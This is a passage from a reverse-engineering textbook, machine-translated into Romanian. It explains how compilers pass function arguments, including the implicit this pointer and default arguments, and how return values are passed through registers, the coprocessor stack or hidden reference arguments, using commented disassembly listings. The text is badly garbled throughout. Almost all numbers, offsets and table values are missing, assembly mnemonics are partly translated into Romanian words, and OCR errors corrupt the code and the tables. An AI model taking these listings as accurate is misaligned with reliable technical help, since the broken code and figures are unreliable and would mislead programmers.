Murgos(a:Real); sunați pe Murgos pop bp xor ax, ax apelează la @Halt$q Word ; Oprire (Cuvânt) PROGRAM endp Partea a III-a Identificarea structurilor cheie ale limbajelor de nivel înalt MyProc proc lângă ; COD XREF: PROGRAM+ DÎp arg = cuvântul ptr arg = cuvântul ptr arg = cuvântul ptr ; După cum ne amintim deja, aceste trei argumente sunt de fapt ; un argument de tip Real împinge bp mov bp, sp ; Deschiderea cadrului stivei xor ax, ax apelați @ StackCheck$q Word ; Verificare depășire a stivei (AX) ; Verificarea depășirii stivei mov di, offset unk împinge ds împinge di ; Punem pe stivă un pointer către buffer pentru a scoate șirul movax, [bp+arg ] mov bx, [bp+arg ] movdx, [bp+arg ] apelează la @Extended$q Real ; Convertiți real în extins ; Să convertim Real în Extended movax, h împinge toporul ; Lățimea de ieșire este de x caractere movax, OFFFFh împinge toporul ; Numărul de zecimale - tot ceea ce este, tot și ieșire sunați la @Write$qm Text Extended Wordtl ; Scrie(var f; v: extins{st( ); zecimale lățime: cuvânt) ; Ieșiți un număr real din stiva de coprocesor în buffer apelează la @WriteLn$qm Text ; WriteLn(var f: Text) ; Imprimarea unei linii din buffer sunați la @IOCheck$qv ; ieșire dacă eroare pop bp retn MyProc endp Aceasta cheamă convenții de apelare și convențiile implicite de apelare În programele C++, fiecare funcție obiect ia implicit un argument this, care este un pointer către instanța obiectului din care este apelată funcția Acest lucru a fost deja tratat mai detaliat în Capitolul , „Identificarea acestui lucru” Capitolul Identificarea argumentelor funcției În mod implicit, toate compilatoarele C++ cunoscute folosesc o convenție de apelare combinată, trecând argumente explicite pe stivă (cu excepția cazului în care funcția este declarată fastcall) și aceasta prin intermediul registrului cel mai preferat (vezi Tabelele - ) Convențiile cdecl și stdcall necesită ca toate argumentele să fie trecute prin stivă, inclusiv implicit acest argument, care este împins în stivă ultimul - după toate argumentele explicite (cu alte cuvinte, acesta este argumentul din stânga) Luați în considerare exemplul prezentat în Lista Lista Demonstrarea transmiterii unui argument implicit — acesta #include clasa MyClass{ public: void demo(int a); // Prototipul demo-ului arată de fapt astfel: demo(this, int a) void stdcall demo (int a, int b) ; // Prototipul demo arată de fapt astfel: II demo (this, int a, int b) void cdecl demo (int a, int b, int c); // Prototipul demo arată de fapt astfel: // demo (this, int a, int b, int c) }; // Implementarea funcțiilor demo, demo , demo a fost omisă pentru a economisi spațiu principal() { MyClass *zzz = noua MyClass; zz->demo(); zzz->demo (); zzz->demo (); } Compilarea acestui exemplu cu compilatorul Microsoft Visual C++ ar trebui să arate ca Lista - (este afișată doar funcția principală, nimic altceva nu este de interes în acest moment) ; Lista , Exemplu de fragment de cod dezasamblat din Lista z proc principal lângă COD XREF: start+AF^p împinge esi ; Salvăm ESI pe stivă apăsați sunați la ?? @YAPAXI@Z ; operator nou(uint) ; Alocați un site pentru o instanță de obiect mov esi, eax ; ESI conține un pointer către o instanță de obiect adăugați esp, Partea a III-a Identificarea structurilor cheie ale limbajelor de nivel înalt ; Scoate argumentul din stivă mov ex, esi ; Acest indicator este transmis funcției Demo prin intermediul funcției ECX ; După cum ne amintim, compilatorul Microsoft Visual C++ utilizează registrul ECX ; pentru a trece chiar primul argument funcției ; În acest caz, acel argument este acest indicator ; Și compilatorul Borland C++ x ar trece asta prin registrul EAX, deoarece ; el îi acordă cea mai mare preferință (vezi Tabelul ) apăsați ; Impingerea unui argument explicit al funcției în stivă Deci nu e apel rapid ; funcția, altfel argumentul dat ar fi fost plasat în registrul EDX Se dovedește ; avem de-a face cu tipul de apel implicit sunați la Demo apăsați ; Împingeți primul argument din dreapta pe stivă apăsați ; Împingeți al doilea argument din dreapta pe stivă împinge esi ; Impingând implicit acest argument pe stivă ; Această schemă de transmisie indică faptul că a existat un explicit ; conversia tipului de funcție în stdcall sau cdecl Derularea ecranului ; dezasamblator puțin mai jos, vedem că stiva este curățată de apelat ; funcția, deci urmează convenția stdcall apelați demo apăsați apăsați apăsați împinge esi sunați la sub adauga esp, Oh ; Deoarece funcția curăță stiva în sine, atunci are fie un tip ; implicit, sau cdecl Trecând acest indicator pe stivă ; sugerează că a doua ipoteză este adevărată oh eh, eh pop esi retn endp principal Argumente implicite Pentru a simplifica funcțiile de apelare cu un dans rotund de argumente, a fost introdusă posibilitatea de a seta argumente implicite în limbajul C++ Acest lucru ridică întrebarea - există vreo diferență între funcțiile de apel cu argumente implicite și funcțiile obișnuite? Și cine inițializează argumentele omise - funcția de apelare sau de apelare? Deci, atunci când apelează funcții cu argumente implicite, compilatorul adaugă singur argumentele lipsă, iar apelarea unei astfel de funcții nu este diferită de apelarea funcțiilor obișnuite Capitolul Identificarea argumentelor funcției Să demonstrăm acest lucru cu exemplul din Lista Demonstrarea transmiterii argumentelor implicite ♦include MyFuncțint a=l, int b= , int c= ) { printf("%x %x %x\n",a,b,c); } principal() { Functia mea(); Rezultatul compilării va arăta ceva asemănător cu Lista - (numai funcția de apelare este afișată pentru a economisi spațiu) proc principal lângă ; COD XREF: start+AF>lp împinge ebp mov ebp, esp apăsați apăsați apăsați ; După cum puteți vedea, toate argumentele omise au fost transmise funcției ; de către compilator însuși apelați MyFunc adăuga esp, OCh pop ebp retn endp principal Tehnica de investigare a mecanismului de trecere a argumentelor de către un compilator necunoscut Varietatea uriașă de compilatoare existente și apariția constantă a altora noi nu ne permit să oferim aici un tabel cuprinzător care să descrie natura fiecărui compilator Dar ce se întâmplă dacă dai peste un program compilat de un compilator care nu este tratat în această carte? Dacă compilatorul poate fi identificat (de exemplu, folosind DA Pro sau prin linii de text conținute într-un fișier), tot ce rămâne este să obțineți copia acestuia și să rulați o serie de cazuri de testare prin el, trecând argumente de diferite tipuri funcției de sub studiu Nu este de prisos să studiem documentația atașată compilatorului, deoarece este foarte posibil ca toate mecanismele de transmitere a argumentelor susținute de acesta să fie cel puțin descrise pe scurt acolo Mai rău, atunci când compilatorul nu este recunoscut sau nu există nicio modalitate de a obține o copie a acestuia Apoi va trebui să examinați cu minuțiozitate și cu atenție interacțiunea funcțiilor de apelare și de apelare Capitolul Identificarea valorii returnate de o funcție În mod tradițional, „valoarea returnată de o funcție” se referă la valoarea returnată de o instrucțiune return, dar aceasta este doar vârful aisbergului și nu spune întreaga poveste a modului în care funcțiile interacționează între ele Ca o demonstrație vizuală, luați în considerare un exemplu destul de tipic, apropo, împrumutat din codul programului real (Listing ) ' Lista Demonstrarea returnării unei valori într-un argument transmis prin referință int xdiv(int a, int b, int *c= ) { dacă (!b) returnează - ; dacă (c) c[ ]=a % b; returnează a/b; } Funcția xdiv returnează rezultatul împărțirii întregi a argumentului a cu argumentul b, dar în plus, scrie restul diviziunii variabilei c, transmisă prin referință Deci câte valori a returnat funcția? Și cum este returnarea unui rezultat prin referință mai proastă sau „ilegală” decât întoarcerea clasică? Publicațiile populare tind să simplifice problema identificării valorii returnate de o funcție luând în considerare doar cazul special al instrucțiunii return În special, asta face Matt Pittrek în cartea sa „Secretele programării sistemului în Windows ”, dar restul metodelor rămân „în spatele scenei” Acest capitol va acoperi următoarele mecanisme: □ Returnarea unei valori cu o instrucțiune return (prin registre sau stiva de coprocesoare) □ Returnarea valorilor prin argumente transmise prin referință □ Returnarea valorilor prin intermediul memoriei dinamice (heap) □ Returnarea valorilor prin variabile globale □ Returnează valorile prin steagurile procesorului Notă De fapt, nu ar strica să adăugați la această listă returnarea valorilor prin fișiere de disc și mapate în memorie, dar acest lucru depășește domeniul de aplicare al subiectului în discuție fișier - de fapt, există o valoare returnată de acesta Matt Pitrek „Secretele programării sistemului în Windows ” - K Dialectika, Capitolul Identificarea valorii returnate de o functie Returnarea unei valori cu o instrucțiune return Prin convenție, valoarea returnată de instrucțiunea return este plasată în registrul eax (în ax la compilatoarele de biți), iar dacă acest lucru nu este suficient, atunci cei de biți superiori ai operandului sunt plasați în edx (în modul de biți) , cuvântul înalt este plasat în dx) Tipurile de date reale sunt cel mai adesea returnate prin stiva de coprocesor, mai rar prin registrele edx : eax (dx -ax în modul pe biți) Cum sunt returnate tipurile mai mari de octeți? Să presupunem că o anumită funcție returnează o structură formată din sute de octeți sau un obiect de dimensiune nu mai mică Nici una, nici alta nu pot fi introduse în registre, aici nici măcar stiva de coprocesoare nu este suficientă! Se dovedește că dacă valoarea returnată nu poate fi strânsă în registre, compilatorul, ascuns de programator, transmite un argument implicit funcției - o referire la o variabilă locală, în care este scris rezultatul returnat Astfel, funcțiile struct mystuct MyFunc (int a, int b) și void MyFunc (struct mystryct *my, int a, int b) sunt compilate în cod identic (sau aproape de acesta) și este imposibil să „trageți” Prototip original din codul mașinii! Singurul indiciu este dat de compilatorul Microsoft Visual C++, care în acest caz returnează un pointer către variabila returnată, adică prototipul restaurat arată cam așa: struct mystruct* MyFunc (struct mystruct* my, int a, int b) De acord, este oarecum ciudat pentru un programator înțelept să returneze un pointer la un argument pe care tocmai l-a transmis funcției cu propriile mâini? Compilatorul Borland C++ returnează tipul void în această situație, ștergând distincția dintre un argument returnat prin valoare și un argument returnat prin referință Cu toate acestea, imposibilitatea restaurării prototipului original nu ar trebui să deranjeze Mai degrabă invers! „True Prototype” susține că rezultatul unei funcții este returnat prin valoare, dar în realitate este returnat prin referință! Atunci de ce numim o pisică șoarece? Câteva cuvinte despre definirea tipului de returnare Dacă funcția atribuie în mod explicit o valoare registrului eax sau edx la ieșire (ax și dx în modul pe biți), atunci tipul acesteia poate fi determinat aproximativ din tabel și Dacă funcția lasă aceste registre nedefinite, atunci, cel mai probabil, este returnat tipul void, adică nimic Ajută la clarificarea informațiilor prin analiza funcției de apelare sau, mai degrabă, a modului în care gestionează registrele eax [edx] (ax [dx] în modul pe biți) De exemplu, tipurile de caractere se caracterizează fie prin accesarea jumătății inferioare a registrului eax (ax) - registrul al, fie prin reducerea la zero a octeților înalți cu logica și operația Este logic să presupunem că dacă funcția de apelare nu folosește valoarea lăsată de funcția apelată în registrele eax [edx], atunci tipul acesteia este nul Dar această presupunere este greșită Adesea, programatorii ignoră valoarea returnată, inducând astfel în eroare cercetătorii Tabelul Mecanismul pentru returnarea unei valori prin instrucțiunea return în compilatoare pe biți Tastați Metoda de returnare Un singur octet AL I AX AX dublu octet DX:AX de patru octeți DX:BX:AX real float DX: AX | stiva de coprocesoare stivă dublă de coprocesor lângă indicatorul AX indicator de departe DX: AX Peste patru octeți Prin argument implicit prin referință Partea a III-a Identificarea structurilor cheie ale limbajelor de nivel înalt Tabelul Mecanismul de returnare a unei valori prin instrucțiunea return în compilatoare pe de biți Tastați Metoda de returnare Un singur octet AL AX EAX Dublu octet AX EAX EAX de patru octeți EDX de opt octeți: EAX stiva de coprocesoare float EAX dublu stivă de coprocesoare EDX:EAX lângă indicatorul ЕАХ Peste opt octeți Prin argument implicit prin referință Să ne uităm la un exemplu care demonstrează mecanismul de returnare a tipurilor de valori de bază (Listing ) #include #include char char func(char a, char b) ( returnează a+b; int int func(int a, int b) { returnează a+b; } int int func( int a, int b) ( returnează a+b; int* near func(int* a, int* b) ( int*C; c=(int *)malloc(sizeof(int)); c[ ]=a[ ]+b[ ]; întoarcere c; principal() ( a= x ; b= x ; printf("%x\n", char func( x , x )+ int func( x , x )+ int func( x , x )+ near func(&a,&b)[ ]); Capitolul Identificarea valorii returnate de o functie Compilarea acestuia cu Microsoft Visual C++ cu setări implicite va arăta ca Lista I Lista f * ajuta Mtawwft Vte "aLC * + L d'-''"-?' :' char func proc aproape ; COD XREF: principal+lA>Lp arg = octet ptr arg = octet ptr OCh împinge ebp mov ebp, esp ; Deschiderea cadrului stivei movsx eax, [ebp+arg ] ; Încărcăm tipul char semnat în EAX arg , extinzându-l la int pe parcurs movsx ecx, [ebp+ arg ] ; Încărcăm tipul char semnat în EAX arg , extinzându-l la int pe parcurs adăugați eax, ecx ; Adăugați arg și arg extinse la int, stocându-le într-un registru ; EAX este valoarea returnată de funcție Din păcate, este adevărat ; tipul acestuia nu poate fi determinat El poate reprezenta la fel de bine ; în sine și int și char, în plus, int este și mai probabil, deoarece suma a doi ; char trebuie să se potrivească într-un int din motive de securitate, ; în caz contrar, este posibil un debordare Pop retn char func int func ebp endp proc aproape ; COD XREF: principal + >Lp arg = dword ptr arg = dword ptr OCh împinge ebp mov ebp, esp ; Deschiderea cadrului stivei mov eax, [ebp+arg ] ; Încărcăm în EAX valoarea argumentului arg de tip int adăugați eax, [ebp+arg ] ; Adăugăm arg la arg și lăsăm rezultatul în registrul EAX ; Aceasta este valoarea returnată de funcție, cel mai probabil de tip int pop ebp retn int func endp int func proc lângă C DE XREF: principal + >Lp arg = dword ptr Partea a III-a Identificarea structurilor cheie ale limbajelor de nivel înalt arg = dword ptr OCh arg = dword ptr lOh arg C = dword ptr h împinge ebp mov ebp, esp ; Deschiderea cadrului stivei mov eax, [ebp+arg ] ; Încărcăm valoarea argumentului arg în EAX adăugați eax, [ebp+arg ] ; Adăugați arg la arg mov edx, [ebp+arg ] ; Încărcăm valoarea argumentului arg în EDX adc edx, [ebp+arg C] ; Adăugați arg și arg C, ținând cont de flag-ul de transport rămas de la adăugare; arg cu arg ; Se pare că arg și arg , ca și arg și arg C, sunt jumătăți din două ; argumente de tip int adăugate ; Prin urmare, rezultatul calculului este returnat în registrele EDX:EAX pop ebp retn int func endp near func proc near COD XREF: principal+ J,p var = dword ptr - arg = dword ptr arg = dword ptr OCh împinge ebp mov ebp, esp ; Deschiderea cadrului stivei împinge ecx ; Salvați ECX împingeți ; dimensiunea t call malloc adăugați esp, ; Alocați octeți din heap mov [ebp+var ], eax ; Punem indicatorul către memoria alocată în variabila var mov eax, [ebp+arg ] ; Încărcăm valoarea argumentului arg în EAX muta ex, [eax] ; Încărcăm în ECX valoarea celulei de memorie de tip int, la care ; indică EAX Astfel, tipul de argument arg este int * mov edx, [ebp+arg ] Capitolul Identificarea valorii returnate de o functie ; Încărcăm valoarea argumentului arg în EDX adăugați ex, [edx] ; Adăugăm cu *arg O valoarea celulei de memorie de tip int, pentru care ; indică EDX Prin urmare, tipul argumentului arg este int * mov eax, [ebp+var ] ; Încărcăm în EAX un pointer către un bloc de memorie alocat din heap mov [eax], esx ; Copiați valoarea sumei *arg și *arg în heap mov eax, [ebp+var ] ; Încărcăm în EAX un pointer către un bloc de memorie alocat din heap ; Aceasta va fi valoarea returnată de funcție, adică prototipul acesteia ! arăta astfel: int* MyFunc(int *а, int *b); mov esp, ebp pop ebp retn near func endp proc principal lângă C DE XREF: start+AF^p var = dword ptr - var = dword ptr - împinge ebp mov ebp, esp ; Deschiderea cadrului stivei sub esp ; Rezervați spațiu pentru variabilele locale împinge esi push edi ; Salvați registrele pe stivă mov[ebp+var ] , h ; Setați variabila locală var de tip int la valoarea xbbb mov[ebp+var ], h ; Punem valoarea x în variabila locală var de tip int apăsați apăsați apelați char func adăugați esp, ; Numim funcția char func( , ) După cum ne amintim, aveam îndoieli cu privire la; tipul valorii returnate este fie int, fie char movsx esi, al ; Extindem valoarea returnată de funcție la semned int, prin urmare, ; a returnat semnat char apăsați apăsați apel int func Partea a III-a Identificarea structurilor cheie ale limbajelor de nivel înalt adăugați esp, ; Apelăm funcția int func( , ) , care returnează o valoare int adauga eax, esi ; Adăugăm la valoarea returnată de funcție conținutul ESI cdq ; Să convertim cuvântul dublu conținut în registrul EAX într-un cuvânt quad, ; plasate în registrul EDX:EAX mov esi, eax mov edi, edx ; Copiați cuvântul patru extins în registrele EDI:ESI împinge O apăsați împinge O apăsați apelați int func adauga esp, Oh ; Numim funcția int func( # ), care returnează tipul int Acum ; devine clar ce a cauzat extinderea rezultatului anterior adauga esi, eax adc edi, edx ; La cuvântul patru conținut în registrele EDI:ESI, adăugați ; rezultatul returnat de int func lea eax, [ebp+var ] ; Încărcăm indicatorul către variabila var în EAX împinge max ; Trecem un pointer la var la funcția near func ca argument lea ex, [ebp+var ] ; Încărcăm indicatorul către variabila var în ECX împinge ex ; Trecem un pointer la var ca argument la funcția near func sunați near func adăugați esp, ; Numim near func mută eax, [eax] ; După cum ne amintim, în registrul EAX, funcția a returnat un pointer către ; variabilă de tip int - încărcați valoarea acestei variabile ; la registrul EAX cdq ; Extindem EAX la un cuvânt patru adauga esi, eax adc edi, edx ; Adăugăm două cuvinte cvadruple push edi Capitolul Identificarea valorii returnate de o functie împinge esi ; Rezultatul adunării este transmis funcției printf push offset unk ; Trecem un pointer către un șir de specificatori apelați printf adăugați esp, OCh pop edit pop esi mov esp, ebp pop ebp retn endp principal După cum puteți vedea, nu este nimic complicat în identificarea tipului de valoare returnată de instrucțiunea return Dar să nu ne grăbim Luați în considerare următorul exemplu (Listarea ) Ce părere aveți, ce anume și în ce registre se vor returna? #include #include struct XT MyFunc(char 'a, int b) // funcția returnează o valoare de tip „XT” structură după valoare { struct xt xt; strcpy(&xt sO[ ],a); xt x=b; return xt; principal() ( structXTxt; xt=MyFunc("Bună ziua, Marinarul ", x ); printf("%s %x\n",&xt sO[ ], xt x); Să aruncăm o privire la rezultatul compilat prezentat în Lista = Lista Rezultatul compilarii exemplului din Lista MyFunc proc aproape ; COD XREF: sub + ip var = dword ptr - var = dword ptr - Partea a III-a Identificarea structurilor cheie ale limbajelor de nivel înalt ; Aceste variabile locale sunt de fapt elemente ale „diviziunii” ; Structuri HT După cum sa discutat în capitolul , „Identificarea obiectelor, ; structuri și matrice”, compilatorul încearcă întotdeauna să acceseze elemente ; structuri prin adresele lor reale, nu printr-un indicator de bază ; Prin urmare, nu este atât de ușor să distingem o structură de cele care nu au legătură ; variabile, iar uneori este complet imposibil! arg = dword ptr arg = dword ptr OCh ; Funcția ia două argumente împinge ebp mov ebp, esp ; Deschiderea cadrului stivei sub esp ; Rezervați spațiu pentru variabilele locale mov eax, [ebp+arg ] ; Încărcăm conținutul argumentului arg în registrul EAX împinge max ; Trecem arg la funcția strcpy, deci ; arg este un pointer către un șir lea exx, [ebp+var ] ; Încărcați în ECX un pointer către variabila locală var și împinge ex / treceți-l la funcția strcpy ; Prin urmare, var este un buffer de șir de octeți sunați la strcpy adăugați esp, ; Copiați șirul trecut prin arg în var mov edx, [ebp+arg ] ; Încărcăm valoarea argumentului arg în registrul EDX mov[ebp+var ], edx ; Copiați arg în variabila locală var mov eax, [ebp+var ] ; Încărcăm conținutul (nu pointerul!) Buffer-ului șir în EAX mov edx, [ebp+var ] ; Încărcăm valoarea variabilei var în EDX Încărcare atât de explicită ; înregistrează EDX:EAX înainte de a părăsi funcția indică ; că aceasta este valoarea returnată de funcție ; Uau, ce surpriză neașteptată Funcția revine în EDX și EAX ; două variabile de diferite tipuri! Și nu int deloc, așa cum s-ar putea ; apar în timpul unei analize superficiale a programului ; A doua surpriză este că revenirea tipului char[ ] nu se face printr-un pointer sau o referință, ci ; prin registru! ; Mai avem noroc, pentru că dacă structura ar fi declarată ca ; struct XT{short int a, char b, char c), în registrul EAX ar reveni Capitolul Identificarea valorii returnate de o functie ; cât trei variabile de două tipuri! mov esp, ebp pop ebp retn MyFunc endp proc principal lângă C DE XREF: start+AF^p var = dword ptr - var = dword ptr - ; Două variabile locale de tip int ; Tipul este determinat prin calcularea dimensiunii fiecăruia împinge ebp mov ebp, esp ; Deschiderea cadrului stivei sub esp ; Rezervăm opt octeți pentru variabilele locale împinge h ; Trecem un argument de tip int la funcția MyFunc Prin urmare, ; arg este de tip int (conform codului funcției apelate, acest lucru nu a fost ; evident - arg ar putea fi la fel de bine un pointer) ; Deci, în registrul EDX, funcția returnează tipul ±nt push offset aHelloSailor ; "Buna marinare" ; Trecem indicatorul la șir la funcția MyFuhc ; Atenţie! Șirul durează mai mult de octeți, deci nu este recomandat ; rulați acest exemplu „în direct” apelați MyFunc adăugați esp, ; Sunăm MyFunc Modifică registrele EDX și EAX într-un fel ; Știm deja tipurile de valori returnate în ele și rămâne doar ; asigurați-vă că sunt utilizate „corect” de către funcția de apelare mov[ebp+var ], eax ; Am pus conținutul registrului EAX în variabila locală var mov [ebp var ], edx ; Setați variabila locală var la conținutul registrului EDX ; De acord - este foarte asemănător cu faptul că funcția returnează int mov eax, [ebp+var ] ; Încărcăm conținutul var în EAX, ; (adică registrul EDX returnat de MyFunc) și împinge max ; îl trecem la funcția printf ; Conform liniei de specificare, acesta este un tip int ; Prin urmare, în EDX, funcția a returnat un int, sau cel puțin un int; partea mai veche lea exx, [ebp+var ] ; Încărcăm în ECX un pointer către variabila var , care stochează valoarea, Partea a III-a Identificarea structurilor cheie ale limbajelor de nivel înalt ; returnat de funcție prin registrul EAX ; Conform specificatorilor de șir, acesta este un pointer către un șir ; Deci, am confirmat că tipurile de valori au fost returnate prin registre ; EDX: EAX diferit ; Cu puțină gândire, putem chiar să restabilim prototipul original: ; structX{car a[ J; int) MyFunc(char* b, int c); împinge ecx push offset aSX ; „%s %x\n” apelați printf adăuga esp, OCh mov esp, ebp pop ebp ; Închideți cadrul stivei retn endp principal Acum să schimbăm puțin structura xm, înlocuind char sO [ ] cu char sO [ ], care este garantat să nu se încadreze în registrele edx : eax și să vedem cum se schimbă codul de la aceasta (Listing ) ; COD XREF: Start+AF^p var = octet ptr - Oh var - dword ptr -lOh var C = dword ptr -OCh var = dword ptr - var = dword ptr - împinge ebp mov ebp, esp ; Deschiderea cadrului stivei sub esp, Oh ; Rezervăm x octeți pentru variabilele locale împinge h ; Trecem cel mai din dreapta argument la funcția MyFunc - ; valoarea x de tip int push offset aHelloSailor ; Bună Sailor ; Trecem funcției MyFunc al doilea argument din dreapta - un pointer către șir lea eax, [ebp+var ] ; Încărcăm adresa variabilei locale var în EAX împinge max ; Trecem indicatorul la variabila var la funcția MyFunc Stop! ; Acest argument nu a fost în prototipul funcției! De unde a venit?! ; Așa e, nu a fost A fost inserat de compilator pentru a returna structura prin ; valoare Ultima frază ar trebui să fie de fapt cuprinsă între ghilimele pentru ; dându-i o tentă ironică - o structură returnată prin valoare, Capitolul Identificarea valorii returnate de o functie ; se întoarce de fapt prin referință apelați MyFunc adăuga esp, OCh ; Sunăm MyFunc mutare ecx, [eax] ; Funcția din ECX a returnat un pointer către cel returnat prin referință ; structura Această tehnică este tipică numai pentru Microsoft Visual C ++, ; iar majoritatea compilatoarelor lasă valoarea EAX în ieșire ; nedefinit sau zero Dar, într-un fel sau altul, ECX este încărcat ; primul cuvânt dublu indicat de indicatorul EAX Pentru primul ; uite, este un element de tip int Totuși, să nu ne grăbim să tragem concluzii mov [ebp+var ], esx ; Stocați ECX în variabila locală var mov edx, [eax+ ] ; În EDX, încărcăm al doilea cuvânt dublu la indicatorul EDX mov[ebp+var C], edx ; Îl copiem în variabila var C ; Rezultă că al doilea element al structurii are și tipul int? ; Noi, care știm cum arăta codul sursă al programului, începem deja ; descoperi trucul Cu siguranță ceva nu este în regulă aici mov ex, [eax+ ] ; Încărcăm al treilea cuvânt dublu, de la pointerul EAX și mov[ebp+var ], esx ; copiați-l în var Alt tip int? De unde vin ei în asta ; când aveam doar unul! Și unde, mai exact, este linia? mov edx, [eax+OCh] mov[ebp+var ], edx ; Și mai transferăm un tip int din structură într-o variabilă locală Nu, ; este peste puterile noastre! mov eax, [ebp+var ] ; Încărcăm conținutul variabilei var în EAX împinge max ; Transmitem valoarea lui var funcției printf ; Judecând după șirul de specificatori, var este într-adevăr de tip int lea exx, [ebp+var ] ; Obținem un pointer către variabila var și împinge ex / treceți-l la funcția printf ; Judecând după șirul de specificatori, tipul de ECX este char *, prin urmare: var ; și există un șir de căutare Intuiția ne spune că var C și var , ; situate dedesubt (adică la adrese mai înalte) conțin și ; linia Doar că compilatorul în loc să sune srtcpy a decis asta ; va fi mai rapid să îl copiați singur decât și ne-ați prezentat ; iluzie Prin urmare, nu ar trebui să se grăbească niciodată să identifice Partea a III-a Identificarea structurilor cheie ale limbajelor de nivel înalt ; tipuri de elemente de structură! Verificați cu atenție fiecare octet - cum este; este inițializat și cum este utilizat Operațiuni de transfer în local; variabilele nu spun încă nimic push offset aSX ; „%s %x\n” apelați pnntf adăugați esp, OCh mov esp, ebp pop ebp ; Închideți cadrul stivei retn endp principal MyFunc proc lângă C DE XREF: principal+ Îp var = dword ptr -lOh var C = dword ptr -OCh var = dword ptr - var = dword ptr - arg = dword ptr arg = dword ptr OCh arg = dword ptr lOh ; Rețineți că trei argumente sunt transmise funcției, nu două, ca ; a fost declarat în prototip împinge ebp mov ebp, esp ; Deschiderea cadrului stivei sub special, Oh ; Rezervăm memorie pentru variabilele locale mov eax, [ebp+arg ] ; Încărcăm și EAX un pointer către al doilea argument din dreapta împinge max ; Trecem un pointer la arg la funcția strcpy lea exx, [ebp+var ] ; Încărcăm indicatorul către variabila locală var în ECX împinge ex ; Trecem indicatorul la variabila locală var la funcția strcpy sunați la strcpy adăugați esp, ; Copiem șirul transmis funcției MyFunc prin argumentul arg mov edx, [ebp+arg ] ; Încărcăm în EDX valoarea argumentului din dreapta transmis către MyFunc mov[ebp+var ], edx ; Copiați arg în variabila locală var Capitolul Identificarea valorii returnate de o functie mov eax, [ebp+arg ] ; Încărcăm valoarea argumentului arg în EAX După cum știm asta ; argumentul funcției este transmis de compilator însuși și un pointer este trecut în el ; la o variabilă locală menită să returneze o structură mov ex, [ebp+var ] ; Încărcăm în ECX un cuvânt dublu cu o variabilă locală var Ca noi ; rețineți, șirul a fost copiat în variabila locală var mai devreme, ; prin urmare, acum o vom vedea din nou copiand în „două cuvinte”! mov [eax], esx mov edx, [ebp+var C] mov[eax+ ], edx mov ecx, [ebp+var ] mov[eax+ ], ecx ; Și exact! De la variabila locală var la variabila locală *arg ; copierea se face „manual” și nu cu strcpy! ; În total, acum au fost copiați octeți, ceea ce înseamnă că primul ; elementul de structură arată astfel: char [ ] ; Da, desigur, a fost „char sO[ ]” în testul original, dar compilatorul, ; alinierea elementelor structurii la adrese divizibile cu patru, mutate ; al doilea element este int x, la bază+ xl , creând astfel o „găuri” ; între sfârșitul șirului și începutul celui de-al doilea element ; Analiza listei dezasamblatoare nu ne permite să restabilim adevăratul ; fel de structură, singurul lucru care se poate spune este lungimea șirului sO ; se află în intervalul [ - ] mov edx, [ebp+var ] mov[eax+OCh], edx ; Copiați variabila var (care conține argumentul arg ) în [eax+OS] ; Într-adevăr, al doilea element al structurii -int x- este situat la offset ; octeți de la început mov eax, [ebp+arg ] ; Returnăm în EAX un pointer către argumentul arg care conține un pointer către ; structura returnată mov esp, ebp pop ebp ; Închideți cadrul stivei retn ; Deci prototipul funcției arată astfel: ; struct X {char s [ ], int a} MyFunc(struct X *x, char *y, int z) MyFunc endp Apare întrebarea - cum sunt returnate structurile formate din sute și mii de octeți? Răspuns: acestea sunt copiate într-o variabilă locală transmisă implicit de compilator prin referință, instrucțiunea movs, pe care o vom vedea acum schimbând textul sursă al exemplului anterior char s [ ] în char sO [ Ohbbb ] Rezultatul recompilării ar trebui să arate ca Lista - Partea a III-a Identificarea structurilor cheie ale limbajelor de nivel înalt var C = octet ptr - Ch var = dword ptr - arg = dword ptr arg = dword ptr OCh arg = dword ptr lOh împinge ebp mov ebp, esp ; Deschiderea cadrului stivei sub esp, Ch ; Rezervăm memorie pentru variabilele locale împinge esi push edi ; Salvați registrele pe stivă mov eax, [ebp+arg ] împinge max lea eskh, [ebp+var c] împinge ecx sunați la strcpy adăugați esp, ; Copiem șirul transmis funcției în variabila locală var C mov edx, [ebp+arg ] mov[ebp+var ], edx ; Copiați argumentul arg în variabila locală var mov ecx, Bh ; Introducem valoarea x V în ECX, neînțelegând încă ce exprimă lea esi, [ebp+var C] ; Setați registrul ESI la variabila locală var C mov edit, [ebp+arg ] ; Setați registrul EDI la variabila indicată de ; indicatorul trecut în argumentul arg repe movsd ; Copiați cuvinte duble ECX din ESI în EDI ; Convertind acest lucru în octeți, obținem: x B* = OxbbS ; Astfel, atât șirul var C, cât și variabila var sunt copiate mov eax, [ebp+arg ] ; Returnăm în EAX un pointer către structura returnată pop edit pop esi mov esp, ebp Capitolul Identificarea valorii returnate de o functie pop ebp ; Închideți cadrul stivei, retn MyFunc endp Rețineți că mulți compilatori (de exemplu, Watcom) trec indicatorul către buffer pentru valoarea returnată funcției nu prin stivă, ci printr-un registru, iar registrul este de obicei luat nu din coada de candidați în ordinea preferințelor (vezi Tabelul din Capitolul ) În schimb, se folosește un registru special conceput special pentru acest scop De exemplu, Watcom are registrul esi Returnarea valorilor reale Convențiile cdecl și stdcall prescriu returnarea valorilor reale (float, double, long double) prin stiva de coprocesor, în timp ce valorile registrelor eax și edx la ieșirea unei astfel de funcție pot fi oricare (cu alte cuvinte , funcțiile care returnează valori reale lasă registrele eax și edx în stare nedeterminată) Funcțiile Fastcall pot returna, teoretic, variabile reale și în registre, dar în practică, de obicei, nu se ajunge la acest lucru, deoarece coprocesorul nu poate citi direct registrele procesorului principal și trebuie să fie împinse prin RAM, ceea ce anulează toate beneficiile unui apel rapid Pentru a confirma ceea ce s-a spus, să examinăm exemplul prezentat în Lista ^spzhg O&Prѵy^IIadi^^ ' ' ♦include float MyFunc(float a, float b) { returnează a+b; principal() printf("%f\n",MyFunc( , ) ); Compilarea acestuia cu Microsoft Visual C++ ar trebui să arate ceva ca Lista - proc principal aproape ; COD XREF: start+AF>lp var = qword ptr - împinge ebp mov ebp, esp ; Deschiderea cadrului stivei apăsați F A D h împingeți D EB h ; Transmitem argumente funcției MyFunc Partea a III-a Identificarea structurilor cheie ale limbajelor de nivel înalt ; Deocamdată, nu putem determina tipul lor apelați MyFunc fstp [esp+ +var ] ; Scoateți stiva de coprocesor cu valoarea reală introdusă acolo ; funcția MyFunc ; Pentru a-i determina tipul, ne uităm la codul operațional al instrucțiunii - DD C ; Conform tabelului definește - aparține dublu ; Stai, stai, cum este acest dublu, pentru că funcția ar trebui să returneze float ! ; Așa este, dar aici există o conversie implicită de tip ; când se transmite un argument unei funcții printf care așteaptă un dublu ; Acordați atenție unde este concatenată revenirea 